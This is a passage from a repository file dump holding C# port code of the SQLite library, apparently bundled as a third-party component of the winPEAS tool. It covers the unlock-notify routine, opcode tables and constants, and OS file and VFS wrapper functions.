No malloc required */\n\naArg = aStatic;\nenterMutex();         /* Enter STATIC_MASTER mutex */\n\n/* This loop runs once for each entry in the blocked-connections list. */\nfor(pp=&sqlite3BlockedList; *pp; /* no-op */ ){\nsqlite3 *p = *pp;\n\n/* Step 1. */\nif( p->pBlockingConnection==db ){\np->pBlockingConnection = 0;\n}\n\n/* Step 2. */\nif( p->pUnlockConnection==db ){\nassert( p->xUnlockNotify );\nif( p->xUnlockNotify!=xUnlockNotify && nArg!=0 ){\nxUnlockNotify(aArg, nArg);\nnArg = 0;\n}\n\nsqlite3BeginBenignMalloc();\nassert( aArg==aDyn || (aDyn==0 && aArg==aStatic) );\nassert( nArg<=(int)ArraySize(aStatic) || aArg==aDyn );\nif( (!aDyn && nArg==(int)ArraySize(aStatic))\n|| (aDyn && nArg==(int)(sqlite3DbMallocSize(db, aDyn)/sizeof(void*)))\n){\n/* The aArg[] array needs to grow. */\nvoid **pNew = (void **)sqlite3Malloc(nArg*sizeof(void *)*2);\nif( pNew ){\nmemcpy(pNew, aArg, nArg*sizeof(void *));\n//sqlite3_free(aDyn);\naDyn = aArg = pNew;\n}else{\n/* This occurs when the array of context pointers that need to\n** be passed to the unlock-notify callback is larger than the\n** aStatic[] array allocated on the stack and the attempt to\n** allocate a larger array from the heap has failed.\n**\n** This is a difficult situation to handle. Returning an error\n** code to the caller is insufficient, as even if an error code\n** is returned the transaction on connection db will still be\n** closed and the unlock-notify callbacks on blocked connections\n** will go unissued. This might cause the application to wait\n** indefinitely for an unlock-notify callback that will never\n** arrive.\n**\n** Instead, invoke the unlock-notify callback with the context\n** array already accumulated. We can then clear the array and\n** begin accumulating any further context pointers without\n** requiring any dynamic allocation. This is sub-optimal because\n** it means that instead of one callback with a large array of\n** context pointers the application will receive two or more\n** callbacks with smaller arrays of context pointers, which will\n** reduce the applications ability to prioritize multiple\n** connections. But it is the best that can be done under the\n** circumstances.\n*/\nxUnlockNotify(aArg, nArg);\nnArg = 0;\n}\n}\nsqlite3EndBenignMalloc();\n\naArg[nArg++] = p->pUnlockArg;\nxUnlockNotify = p->xUnlockNotify;\np->pUnlockConnection = 0;\np->xUnlockNotify = 0;\np->pUnlockArg = 0;\n}\n\n/* Step 3. */\nif( p->pBlockingConnection==0 && p->pUnlockConnection==0 ){\n/* Remove connection p from the blocked connections list. */\n*pp = p->pNextBlocked;\np->pNextBlocked = 0;\n}else{\npp = &p->pNextBlocked;\n}\n}\n\nif( nArg!=0 ){\nxUnlockNotify(aArg, nArg);\n}\n//sqlite3_free(aDyn);\nleaveMutex();         /* Leave STATIC_MASTER mutex */\n}\n\n/*\n** This is called when the database connection passed as an argument is\n** being closed. The connection is removed from the blocked list.\n*/\nvoid sqlite3ConnectionClosed(sqlite3 *db){\nsqlite3ConnectionUnlocked(db);\nenterMutex();\nremoveFromBlockedList(db);\ncheckListProperties(db);\nleaveMutex();\n}\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/opcodes_c.cs",
    "content": "    /*\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/opcodes_c.cs $\n    **  Revision        : $Revision$\n    **  Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $\n    **  Last Changed By : $LastChangedBy: noah.hart $\n    *************************************************************************\n    */\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /* Automatically generated.  Do not edit */\n    /* See the mkopcodec.awk script for details. */\n#if !SQLITE_OMIT_EXPLAIN || !NDEBUG || VDBE_PROFILE || SQLITE_DEBUG\n    static string sqlite3OpcodeName( int i )\n    {\n      string[] azName =  { \"?\",\n/*   1 */ \"VNext\",\n/*   2 */ \"Affinity\",\n/*   3 */ \"Column\",\n/*   4 */ \"SetCookie\",\n/*   5 */ \"Seek\",\n/*   6 */ \"Sequence\",\n/*   7 */ \"Savepoint\",\n/*   8 */ \"RowKey\",\n/*   9 */ \"SCopy\",\n/*  10 */ \"OpenWrite\",\n/*  11 */ \"If\",\n/*  12 */ \"CollSeq\",\n/*  13 */ \"OpenRead\",\n/*  14 */ \"Expire\",\n/*  15 */ \"AutoCommit\",\n/*  16 */ \"Pagecount\",\n/*  17 */ \"IntegrityCk\",\n/*  18 */ \"Sort\",\n/*  19 */ \"Not\",\n/*  20 */ \"Copy\",\n/*  21 */ \"Trace\",\n/*  22 */ \"Function\",\n/*  23 */ \"IfNeg\",\n/*  24 */ \"Noop\",\n/*  25 */ \"Return\",\n/*  26 */ \"NewRowid\",\n/*  27 */ \"Variable\",\n/*  28 */ \"String\",\n/*  29 */ \"RealAffinity\",\n/*  30 */ \"VRename\",\n/*  31 */ \"ParseSchema\",\n/*  32 */ \"VOpen\",\n/*  33 */ \"Close\",\n/*  34 */ \"CreateIndex\",\n/*  35 */ \"IsUnique\",\n/*  36 */ \"NotFound\",\n/*  37 */ \"Int64\",\n/*  38 */ \"MustBeInt\",\n/*  39 */ \"Halt\",\n/*  40 */ \"Rowid\",\n/*  41 */ \"IdxLT\",\n/*  42 */ \"AddImm\",\n/*  43 */ \"Statement\",\n/*  44 */ \"RowData\",\n/*  45 */ \"MemMax\",\n/*  46 */ \"NotExists\",\n/*  47 */ \"Gosub\",\n/*  48 */ \"Integer\",\n/*  49 */ \"Prev\",\n/*  50 */ \"RowSetRead\",\n/*  51 */ \"RowSetAdd\",\n/*  52 */ \"VColumn\",\n/*  53 */ \"CreateTable\",\n/*  54 */ \"Last\",\n/*  55 */ \"SeekLe\",\n/*  56 */ \"IncrVacuum\",\n/*  57 */ \"IdxRowid\",\n/*  58 */ \"ResetCount\",\n/*  59 */ \"ContextPush\",\n/*  60 */ \"Yield\",\n/*  61 */ \"DropTrigger\",\n/*  62 */ \"DropIndex\",\n/*  63 */ \"IdxGE\",\n/*  64 */ \"IdxDelete\",\n/*  65 */ \"Vacuum\",\n/*  66 */ \"Or\",\n/*  67 */ \"And\",\n/*  68 */ \"IfNot\",\n/*  69 */ \"DropTable\",\n/*  70 */ \"SeekLt\",\n/*  71 */ \"IsNull\",\n/*  72 */ \"NotNull\",\n/*  73 */ \"Ne\",\n/*  74 */ \"Eq\",\n/*  75 */ \"Gt\",\n/*  76 */ \"Le\",\n/*  77 */ \"Lt\",\n/*  78 */ \"Ge\",\n/*  79 */ \"MakeRecord\",\n/*  80 */ \"BitAnd\",\n/*  81 */ \"BitOr\",\n/*  82 */ \"ShiftLeft\",\n/*  83 */ \"ShiftRight\",\n/*  84 */ \"Add\",\n/*  85 */ \"Subtract\",\n/*  86 */ \"Multiply\",\n/*  87 */ \"Divide\",\n/*  88 */ \"Remainder\",\n/*  89 */ \"Concat\",\n/*  90 */ \"ResultRow\",\n/*  91 */ \"Delete\",\n/*  92 */ \"AggFinal\",\n/*  93 */ \"BitNot\",\n/*  94 */ \"String8\",\n/*  95 */ \"Compare\",\n/*  96 */ \"Goto\",\n/*  97 */ \"TableLock\",\n/*  98 */ \"Clear\",\n/*  99 */ \"VerifyCookie\",\n/* 100 */ \"AggStep\",\n/* 101 */ \"SetNumColumns\",\n/* 102 */ \"Transaction\",\n/* 103 */ \"VFilter\",\n/* 104 */ \"VDestroy\",\n/* 105 */ \"ContextPop\",\n/* 106 */ \"Next\",\n/* 107 */ \"Count\",\n/* 108 */ \"IdxInsert\",\n/* 109 */ \"SeekGe\",\n/* 110 */ \"Insert\",\n/* 111 */ \"Destroy\",\n/* 112 */ \"ReadCookie\",\n/* 113 */ \"RowSetTest\",\n/* 114 */ \"LoadAnalysis\",\n/* 115 */ \"Explain\",\n/* 116 */ \"HaltIfNull\",\n/* 117 */ \"OpenPseudo\",\n/* 118 */ \"OpenEphemeral\",\n/* 119 */ \"Null\",\n/* 120 */ \"Move\",\n/* 121 */ \"Blob\",\n/* 122 */ \"Rewind\",\n/* 123 */ \"SeekGt\",\n/* 124 */ \"VBegin\",\n/* 125 */ \"VUpdate\",\n/* 126 */ \"IfZero\",\n/* 127 */ \"VCreate\",\n/* 128 */ \"Found\",\n/* 129 */ \"IfPos\",\n/* 130 */ \"Real\",\n/* 131 */ \"NullRow\",\n/* 132 */ \"Jump\",\n/* 133 */ \"Permutation\",\n/* 134 */ \"NotUsed_134\",\n/* 135 */ \"NotUsed_135\",\n/* 136 */ \"NotUsed_136\",\n/* 137 */ \"NotUsed_137\",\n/* 138 */ \"NotUsed_138\",\n/* 139 */ \"NotUsed_139\",\n/* 140 */ \"NotUsed_140\",\n/* 141 */ \"ToText\",\n/* 142 */ \"ToBlob\",\n/* 143 */ \"ToNumeric\",\n/* 144 */ \"ToInt\",\n/* 145 */ \"ToReal\",\n};\n      return azName[i];\n    }\n#endif\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/opcodes_h.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /* Automatically generated.  Do not edit */\n    /* See the mkopcodeh.awk script for details */\n    /* Automatically generated.  Do not edit */\n    /* See the mkopcodeh.awk script for details */\n    //#define OP_VNext                                1\n    //#define OP_Affinity                             2\n    //#define OP_Column                               3\n    //#define OP_SetCookie                            4\n    //#define OP_Seek                                 5\n    //#define OP_Real                               130   /* same as TK_FLOAT    */\n    //#define OP_Sequence                             6\n    //#define OP_Savepoint                            7\n    //#define OP_Ge                                  78   /* same as TK_GE       */\n    //#define OP_RowKey                               8\n    //#define OP_SCopy                                9\n    //#define OP_Eq                                  74   /* same as TK_EQ       */\n    //#define OP_OpenWrite                           10\n    //#define OP_NotNull                             72   /* same as TK_NOTNULL  */\n    //#define OP_If                                  11\n    //#define OP_ToInt                              144   /* same as TK_TO_INT   */\n    //#define OP_String8                             94   /* same as TK_STRING   */\n    //#define OP_CollSeq                             12\n    //#define OP_OpenRead                            13\n    //#define OP_Expire                              14\n    //#define OP_AutoCommit                          15\n    //#define OP_Gt                                  75   /* same as TK_GT       */\n    //#define OP_Pagecount                           16\n    //#define OP_IntegrityCk                         17\n    //#define OP_Sort                                18\n    //#define OP_Copy                                20\n    //#define OP_Trace                               21\n    //#define OP_Function                            22\n    //#define OP_IfNeg                               23\n    //#define OP_And                                 67   /* same as TK_AND      */\n    //#define OP_Subtract                            85   /* same as TK_MINUS    */\n    //#define OP_Noop                                24\n    //#define OP_Return                              25\n    //#define OP_Remainder                           88   /* same as TK_REM      */\n    //#define OP_NewRowid                            26\n    //#define OP_Multiply                            86   /* same as TK_STAR     */\n    //#define OP_Variable                            27\n    //#define OP_String                              28\n    //#define OP_RealAffinity                        29\n    //#define OP_VRename                             30\n    //#define OP_ParseSchema                         31\n    //#define OP_VOpen                               32\n    //#define OP_Close                               33\n    //#define OP_CreateIndex                         34\n    //#define OP_IsUnique                            35\n    //#define OP_NotFound                            36\n    //#define OP_Int64                               37\n    //#define OP_MustBeInt                           38\n    //#define OP_Halt                                39\n    //#define OP_Rowid                               40\n    //#define OP_IdxLT                               41\n    //#define OP_AddImm                              42\n    //#define OP_Statement                           43\n    //#define OP_RowData                             44\n    //#define OP_MemMax                              45\n    //#define OP_Or                                  66   /* same as TK_OR       */\n    //#define OP_NotExists                           46\n    //#define OP_Gosub                               47\n    //#define OP_Divide                              87   /* same as TK_SLASH    */\n    //#define OP_Integer                             48\n    //#define OP_ToNumeric                          143   /* same as TK_TO_NUMERIC*/\n    //#define OP_Prev                                49\n    //#define OP_RowSetRead                          50\n    //#define OP_Concat                              89   /* same as TK_CONCAT   */\n    //#define OP_RowSetAdd                           51\n    //#define OP_BitAnd                              80   /* same as TK_BITAND   */\n    //#define OP_VColumn                             52\n    //#define OP_CreateTable                         53\n    //#define OP_Last                                54\n    //#define OP_SeekLe                              55\n    //#define OP_IsNull                              71   /* same as TK_ISNULL   */\n    //#define OP_IncrVacuum                          56\n    //#define OP_IdxRowid                            57\n    //#define OP_ShiftRight                          83   /* same as TK_RSHIFT   */\n    //#define OP_ResetCount                          58\n    //#define OP_ContextPush                         59\n    //#define OP_Yield                               60\n    //#define OP_DropTrigger                         61\n    //#define OP_DropIndex                           62\n    //#define OP_IdxGE                               63\n    //#define OP_IdxDelete                           64\n    //#define OP_Vacuum                              65\n    //#define OP_IfNot                               68\n    //#define OP_DropTable                           69\n    //#define OP_SeekLt                              70\n    //#define OP_MakeRecord                          79\n    //#define OP_ToBlob                             142   /* same as TK_TO_BLOB  */\n    //#define OP_ResultRow                           90\n    //#define OP_Delete                              91\n    //#define OP_AggFinal                            92\n    //#define OP_Compare                             95\n    //#define OP_ShiftLeft                           82   /* same as TK_LSHIFT   */\n    //#define OP_Goto                                96\n    //#define OP_TableLock                           97\n    //#define OP_Clear                               98\n    //#define OP_Le                                  76   /* same as TK_LE       */\n    //#define OP_VerifyCookie                        99\n    //#define OP_AggStep                            100\n    //#define OP_ToText                             141   /* same as TK_TO_TEXT  */\n    //#define OP_Not                                 19   /* same as TK_NOT      */\n    //#define OP_ToReal                             145   /* same as TK_TO_REAL  */\n    //#define OP_SetNumColumns                      101\n    //#define OP_Transaction                        102\n    //#define OP_VFilter                            103\n    //#define OP_Ne                                  73   /* same as TK_NE       */\n    //#define OP_VDestroy                           104\n    //#define OP_ContextPop                         105\n    //#define OP_BitOr                               81   /* same as TK_BITOR    */\n    //#define OP_Next                               106\n    //#define OP_Count                              107\n    //#define OP_IdxInsert                          108\n    //#define OP_Lt                                  77   /* same as TK_LT       */\n    //#define OP_SeekGe                             109\n    //#define OP_Insert                             110\n    //#define OP_Destroy                            111\n    //#define OP_ReadCookie                         112\n    //#define OP_RowSetTest                         113\n    //#define OP_LoadAnalysis                       114\n    //#define OP_Explain                            115\n    //#define OP_HaltIfNull                         116\n    //#define OP_OpenPseudo                         117\n    //#define OP_OpenEphemeral                      118\n    //#define OP_Null                               119\n    //#define OP_Move                               120\n    //#define OP_Blob                               121\n    //#define OP_Add                                 84   /* same as TK_PLUS     */\n    //#define OP_Rewind                             122\n    //#define OP_SeekGt                             123\n    //#define OP_VBegin                             124\n    //#define OP_VUpdate                            125\n    //#define OP_IfZero                             126\n    //#define OP_BitNot                              93   /* same as TK_BITNOT   */\n    //#define OP_VCreate                            127\n    //#define OP_Found                              128\n    //#define OP_IfPos                              129\n    //#define OP_NullRow                            131\n    //#define OP_Jump                               132\n    //#define OP_Permutation                        133\n\n    const int OP_VNext = 1;\n    const int OP_Affinity = 2;\n    const int OP_Column = 3;\n    const int OP_SetCookie = 4;\n    const int OP_Seek = 5;\n    const int OP_Real = 130;   /* same as TK_FLOAT=*/\n    const int OP_Sequence = 6;\n    const int OP_Savepoint = 7;\n    const int OP_Ge = 78; /* same as TK_GE=   */\n    const int OP_RowKey = 8;\n    const int OP_SCopy = 9;\n    const int OP_Eq = 74;   /* same as TK_EQ=   */\n    const int OP_OpenWrite = 10;\n    const int OP_NotNull = 72;  /* same as TK_NOTNULL  */\n    const int OP_If = 11;\n    const int OP_ToInt = 144; /* same as TK_TO_INT   */\n    const int OP_String8 = 94;  /* same as TK_STRING   */\n    const int OP_CollSeq = 12;\n    const int OP_OpenRead = 13;\n    const int OP_Expire = 14;\n    const int OP_AutoCommit = 15;\n    const int OP_Gt = 75; /* same as TK_GT=   */\n    const int OP_Pagecount = 16;\n    const int OP_IntegrityCk = 17;\n    const int OP_Sort = 18;\n    const int OP_Copy = 20;\n    const int OP_Trace = 21;\n    const int OP_Function = 22;\n    const int OP_IfNeg = 23;\n    const int OP_And = 67;/* same as TK_AND=  */\n    const int OP_Subtract = 85;  /* same as TK_MINUS=*/\n    const int OP_Noop = 24;\n    const int OP_Return = 25;\n    const int OP_Remainder = 88; /* same as TK_REM=  */\n    const int OP_NewRowid = 26;\n    const int OP_Multiply = 86; /* same as TK_STAR= */\n    const int OP_Variable = 27;\n    const int OP_String = 28;\n    const int OP_RealAffinity = 29;\n    const int OP_VRename = 30;\n    const int OP_ParseSchema = 31;\n    const int OP_VOpen = 32;\n    const int OP_Close = 33;\n    const int OP_CreateIndex = 34;\n    const int OP_IsUnique = 35;\n    const int OP_NotFound = 36;\n    const int OP_Int64 = 37;\n    const int OP_MustBeInt = 38;\n    const int OP_Halt = 39;\n    const int OP_Rowid = 40;\n    const int OP_IdxLT = 41;\n    const int OP_AddImm = 42;\n    const int OP_Statement = 43;\n    const int OP_RowData = 44;\n    const int OP_MemMax = 45;\n    const int OP_Or = 66; /* same as TK_OR=   */\n    const int OP_NotExists = 46;\n    const int OP_Gosub = 47;\n    const int OP_Divide = 87;/* same as TK_SLASH=*/\n    const int OP_Integer = 48;\n    const int OP_ToNumeric = 143; /* same as TK_TO_NUMERIC*/\n    const int OP_Prev = 49;\n    const int OP_RowSetRead = 50;\n    const int OP_Concat = 89;  /* same as TK_CONCAT   */\n    const int OP_RowSetAdd = 51;\n    const int OP_BitAnd = 80;   /* same as TK_BITAND   */\n    const int OP_VColumn = 52;\n    const int OP_CreateTable = 53;\n    const int OP_Last = 54;\n    const int OP_SeekLe = 55;\n    const int OP_IsNull = 71; /* same as TK_ISNULL   */\n    const int OP_IncrVacuum = 56;\n    const int OP_IdxRowid = 57;\n    const int OP_ShiftRight = 83;  /* same as TK_RSHIFT   */\n    const int OP_ResetCount = 58;\n    const int OP_ContextPush = 59;\n    const int OP_Yield = 60;\n    const int OP_DropTrigger = 61;\n    const int OP_DropIndex = 62;\n    const int OP_IdxGE = 63;\n    const int OP_IdxDelete = 64;\n    const int OP_Vacuum = 65;\n    const int OP_IfNot = 68;\n    const int OP_DropTable = 69;\n    const int OP_SeekLt = 70;\n    const int OP_MakeRecord = 79;\n    const int OP_ToBlob = 142; /* same as TK_TO_BLOB  */\n    const int OP_ResultRow = 90;\n    const int OP_Delete = 91;\n    const int OP_AggFinal = 92;\n    const int OP_Compare = 95;\n    const int OP_ShiftLeft = 82; /* same as TK_LSHIFT   */\n    const int OP_Goto = 96;\n    const int OP_TableLock = 97;\n    const int OP_Clear = 98;\n    const int OP_Le = 76; /* same as TK_LE=   */\n    const int OP_VerifyCookie = 99;\n    const int OP_AggStep = 100;\n    const int OP_ToText = 141; /* same as TK_TO_TEXT  */\n    const int OP_Not = 19;  /* same as TK_NOT=  */\n    const int OP_ToReal = 145;/* same as TK_TO_REAL  */\n    const int OP_SetNumColumns = 101;\n    const int OP_Transaction = 102;\n    const int OP_VFilter = 103;\n    const int OP_Ne = 73; /* same as TK_NE=   */\n    const int OP_VDestroy = 104;\n    const int OP_ContextPop = 105;\n    const int OP_BitOr = 81; /* same as TK_BITOR=*/\n    const int OP_Next = 106;\n    const int OP_Count = 107;\n    const int OP_IdxInsert = 108;\n    const int OP_Lt = 77;  /* same as TK_LT=   */\n    const int OP_SeekGe = 109;\n    const int OP_Insert = 110;\n    const int OP_Destroy = 111;\n    const int OP_ReadCookie = 112;\n    const int OP_RowSetTest = 113;\n    const int OP_LoadAnalysis = 114;\n    const int OP_Explain = 115;\n    const int OP_HaltIfNull = 116;\n    const int OP_OpenPseudo = 117;\n    const int OP_OpenEphemeral = 118;\n    const int OP_Null = 119;\n    const int OP_Move = 120;\n    const int OP_Blob = 121;\n    const int OP_Add = 84; /* same as TK_PLUS= */\n    const int OP_Rewind = 122;\n    const int OP_SeekGt = 123;\n    const int OP_VBegin = 124;\n    const int OP_VUpdate = 125;\n    const int OP_IfZero = 126;\n    const int OP_BitNot = 93;/* same as TK_BITNOT   */\n    const int OP_VCreate = 127;\n    const int OP_Found = 128;\n    const int OP_IfPos = 129;\n    const int OP_NullRow = 131;\n    const int OP_Jump = 132;\n    const int OP_Permutation = 133;\n\n    /* The following opcode values are never used */\n    //#define OP_NotUsed_134                        134\n    //#define OP_NotUsed_135                        135\n    //#define OP_NotUsed_136                        136\n    //#define OP_NotUsed_137                        137\n    //#define OP_NotUsed_138                        138\n    //#define OP_NotUsed_139                        139\n    //#define OP_NotUsed_140                        140\n\n    /* The following opcode values are never used */\n    const int OP_NotUsed_134 = 134;\n    const int OP_NotUsed_135 = 135;\n    const int OP_NotUsed_136 = 136;\n    const int OP_NotUsed_137 = 137;\n    const int OP_NotUsed_138 = 138;\n    const int OP_NotUsed_139 = 139;\n    const int OP_NotUsed_140 = 140;\n\n\n    /* Properties such as \"out2\" or \"jump\" that are specified in\n    ** comments following the \"case\" for each opcode in the vdbe.c\n    ** are encoded into bitvectors as follows:\n    */\n    //#define OPFLG_JUMP            0x0001  /* jump:  P2 holds jmp target */\n    //#define OPFLG_OUT2_PRERELEASE 0x0002  /* out2-prerelease: */\n    //#define OPFLG_IN1             0x0004  /* in1:   P1 is an input */\n    //#define OPFLG_IN2             0x0008  /* in2:   P2 is an input */\n    //#define OPFLG_IN3             0x0010  /* in3:   P3 is an input */\n    //#define OPFLG_OUT3            0x0020  /* out3:  P3 is an output */\n\n    const int OPFLG_JUMP = 0x0001;            /* jump:  P2 holds jmp target */\n    const int OPFLG_OUT2_PRERELEASE = 0x0002; /* out2-prerelease: */\n    const int OPFLG_IN1 = 0x0004;             /* in1:   P1 is an input */\n    const int OPFLG_IN2 = 0x0008;             /* in2:   P2 is an input */\n    const int OPFLG_IN3 = 0x0010;             /* in3:   P3 is an input */\n    const int OPFLG_OUT3 = 0x0020;            /* out3:  P3 is an output */\n\n    public static int[] OPFLG_INITIALIZER = new int[]{\n/*   0 */ 0x00, 0x01, 0x00, 0x00, 0x10, 0x08, 0x02, 0x00,\n/*   8 */ 0x00, 0x04, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00,\n/*  16 */ 0x02, 0x00, 0x01, 0x04, 0x04, 0x00, 0x00, 0x05,\n/*  24 */ 0x00, 0x04, 0x02, 0x00, 0x02, 0x04, 0x00, 0x00,\n/*  32 */ 0x00, 0x00, 0x02, 0x11, 0x11, 0x02, 0x05, 0x00,\n/*  40 */ 0x02, 0x11, 0x04, 0x00, 0x00, 0x0c, 0x11, 0x01,\n/*  48 */ 0x02, 0x01, 0x21, 0x08, 0x00, 0x02, 0x01, 0x11,\n/*  56 */ 0x01, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11,\n/*  64 */ 0x00, 0x00, 0x2c, 0x2c, 0x05, 0x00, 0x11, 0x05,\n/*  72 */ 0x05, 0x15, 0x15, 0x15, 0x15, 0x15, 0x15, 0x00,\n/*  80 */ 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c, 0x2c,\n/*  88 */ 0x2c, 0x2c, 0x00, 0x00, 0x00, 0x04, 0x02, 0x00,\n/*  96 */ 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,\n/* 104 */ 0x00, 0x00, 0x01, 0x02, 0x08, 0x11, 0x00, 0x02,\n/* 112 */ 0x02, 0x15, 0x00, 0x00, 0x10, 0x00, 0x00, 0x02,\n/* 120 */ 0x00, 0x02, 0x01, 0x11, 0x00, 0x00, 0x05, 0x00,\n/* 128 */ 0x11, 0x05, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00,\n/* 136 */ 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04,\n/* 144 */ 0x04, 0x04,\n};\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/os_c.cs",
    "content": "using System.Diagnostics;\nusing System.Text;\nusing HANDLE = System.IntPtr;\nusing i64 = System.Int64;\nusing u32 = System.UInt32;\n\n\nnamespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n\n    /*\n    ** 2005 November 29\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    ******************************************************************************\n    **\n    ** This file contains OS interface code that is common to all\n    ** architectures.\n    **\n    ** $Id: os.c,v 1.127 2009/07/27 11:41:21 danielk1977 Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#define _SQLITE_OS_C_ 1\n    //#include \"sqliteInt.h\"\n    //#undef _SQLITE_OS_C_\n\n    /*\n    ** The default SQLite sqlite3_vfs implementations do not allocate\n    ** memory (actually, os_unix.c allocates a small amount of memory\n    ** from within OsOpen()), but some third-party implementations may.\n    ** So we test the effects of a malloc() failing and the sqlite3OsXXX()\n    ** function returning SQLITE_IOERR_NOMEM using the DO_OS_MALLOC_TEST macro.\n    **\n    ** The following functions are instrumented for malloc() failure\n    ** testing:\n    **\n    **     sqlite3OsOpen()\n    **     sqlite3OsRead()\n    **     sqlite3OsWrite()\n    **     sqlite3OsSync()\n    **     sqlite3OsLock()\n    **\n    */\n#if (SQLITE_TEST) && !SQLITE_OS_WIN\n//#define DO_OS_MALLOC_TEST(x) if (!x || !sqlite3IsMemJournal(x)) {     \\\nvoid *pTstAlloc = sqlite3Malloc(10);                             \\\nif (!pTstAlloc) return SQLITE_IOERR_NOMEM;                       \\\n//sqlite3_free(pTstAlloc);                                         \\\n}\n#else\n    //#define DO_OS_MALLOC_TEST(x)\n    static void DO_OS_MALLOC_TEST( sqlite3_file x ) { }\n#endif\n\n\n    /*\n** The following routines are convenience wrappers around methods\n** of the sqlite3_file object.  This is mostly just syntactic sugar. All\n** of this would be completely automatic if SQLite were coded using\n** C++ instead of plain old C.\n*/\n    static int sqlite3OsClose( sqlite3_file pId )\n    {\n      int rc = SQLITE_OK;\n      if ( pId.pMethods != null )\n      {\n        rc = pId.pMethods.xClose( pId );\n        pId.pMethods = null;\n      }\n      return rc;\n    }\n    static int sqlite3OsRead( sqlite3_file id, byte[] pBuf, int amt, i64 offset )\n    {\n      DO_OS_MALLOC_TEST( id );\n      if ( pBuf == null ) pBuf = new byte[amt];\n      return id.pMethods.xRead( id, pBuf, amt, offset );\n    }\n    static int sqlite3OsWrite( sqlite3_file id, byte[] pBuf, int amt, i64 offset )\n    {\n      DO_OS_MALLOC_TEST( id );\n      return id.pMethods.xWrite( id, pBuf, amt, offset );\n    }\n    static int sqlite3OsTruncate( sqlite3_file id, i64 size )\n    {\n      return id.pMethods.xTruncate( id, size );\n    }\n    static int sqlite3OsSync( sqlite3_file id, int flags )\n    {\n      DO_OS_MALLOC_TEST( id );\n      return id.pMethods.xSync( id, flags );\n    }\n    static int sqlite3OsFileSize( sqlite3_file id, ref int pSize )\n    {\n      return id.pMethods.xFileSize( id, ref pSize );\n    }\n    static int sqlite3OsLock( sqlite3_file id, int lockType )\n    {\n      DO_OS_MALLOC_TEST( id );\n      return id.pMethods.xLock( id, lockType );\n    }\n    static int sqlite3OsUnlock( sqlite3_file id, int lockType )\n    {\n      return id.pMethods.xUnlock( id, lockType );\n    }\n    static int sqlite3OsCheckReservedLock( sqlite3_file id, ref int pResOut )\n    {\n      DO_OS_MALLOC_TEST( id );\n      return id.pMethods.xCheckReservedLock( id, ref pResOut );\n    }\n    static int sqlite3OsFileControl( sqlite3_file id, u32 op, ref int pArg )\n    {\n      return id.pMethods.xFileControl( id, (int)op, ref pArg );\n    }\n\n    static int sqlite3OsSectorSize( sqlite3_file id )\n    {\n      dxSectorSize xSectorSize = id.pMethods.xSectorSize;\n      return ( xSectorSize != null ? xSectorSize( id ) : SQLITE_DEFAULT_SECTOR_SIZE );\n    }\n    static int sqlite3OsDeviceCharacteristics( sqlite3_file id )\n    {\n      return id.pMethods.xDeviceCharacteristics( id );\n    }\n\n    /*\n    ** The next group of routines are convenience wrappers around the\n    ** VFS methods.\n    */\n    static int sqlite3OsOpen(\n    sqlite3_vfs pVfs,\n    string zPath,\n    sqlite3_file pFile,\n    int flags,\n    ref int pFlagsOut\n    )\n    {\n      int rc;\n      DO_OS_MALLOC_TEST( null );\n      rc = pVfs.xOpen( pVfs, zPath, pFile, flags, ref pFlagsOut );\n      Debug.Assert( rc == SQLITE_OK || pFile.pMethods == null );\n      return rc;\n    }\n    static int sqlite3OsDelete( sqlite3_vfs pVfs, string zPath, int dirSync )\n    {\n      return pVfs.xDelete( pVfs, zPath, dirSync );\n    }\n    static int sqlite3OsAccess( sqlite3_vfs pVfs, string zPath, int flags, ref int pResOut )\n    {\n      DO_OS_MALLOC_TEST( null );\n      return pVfs.xAccess( pVfs, zPath, flags, ref pResOut );\n    }\n    static int sqlite3OsFullPathname(\n    sqlite3_vfs pVfs,\n    string zPath,\n    int nPathOut,\n    StringBuilder zPathOut\n    )\n    {\n      return pVfs.xFullPathname( pVfs, zPath, nPathOut, zPathOut );\n    }\n#if !SQLITE_OMIT_LOAD_EXTENSION\n    static HANDLE sqlite3OsDlOpen( sqlite3_vfs pVfs, string zPath )\n    {\n      return pVfs.xDlOpen( pVfs, zPath );\n    }\n\n    static void sqlite3OsDlError( sqlite3_vfs pVfs, int nByte, ref string zBufOut )\n    {\n      pVfs.xDlError( pVfs, nByte, ref zBufOut );\n    }\n    static object sqlite3OsDlSym( sqlite3_vfs pVfs, HANDLE pHdle, ref string zSym )\n    {\n      return pVfs.xDlSym( pVfs, pHdle, zSym );\n    }\n    static void sqlite3OsDlClose( sqlite3_vfs pVfs, HANDLE pHandle )\n    {\n      pVfs.xDlClose( pVfs, pHandle );\n    }\n#endif\n    static int sqlite3OsRandomness( sqlite3_vfs pVfs, int nByte, ref byte[] zBufOut )\n    {\n      return pVfs.xRandomness( pVfs, nByte, ref zBufOut );\n    }\n    static int sqlite3OsSleep( sqlite3_vfs pVfs, int nMicro )\n    {\n      return pVfs.xSleep( pVfs, 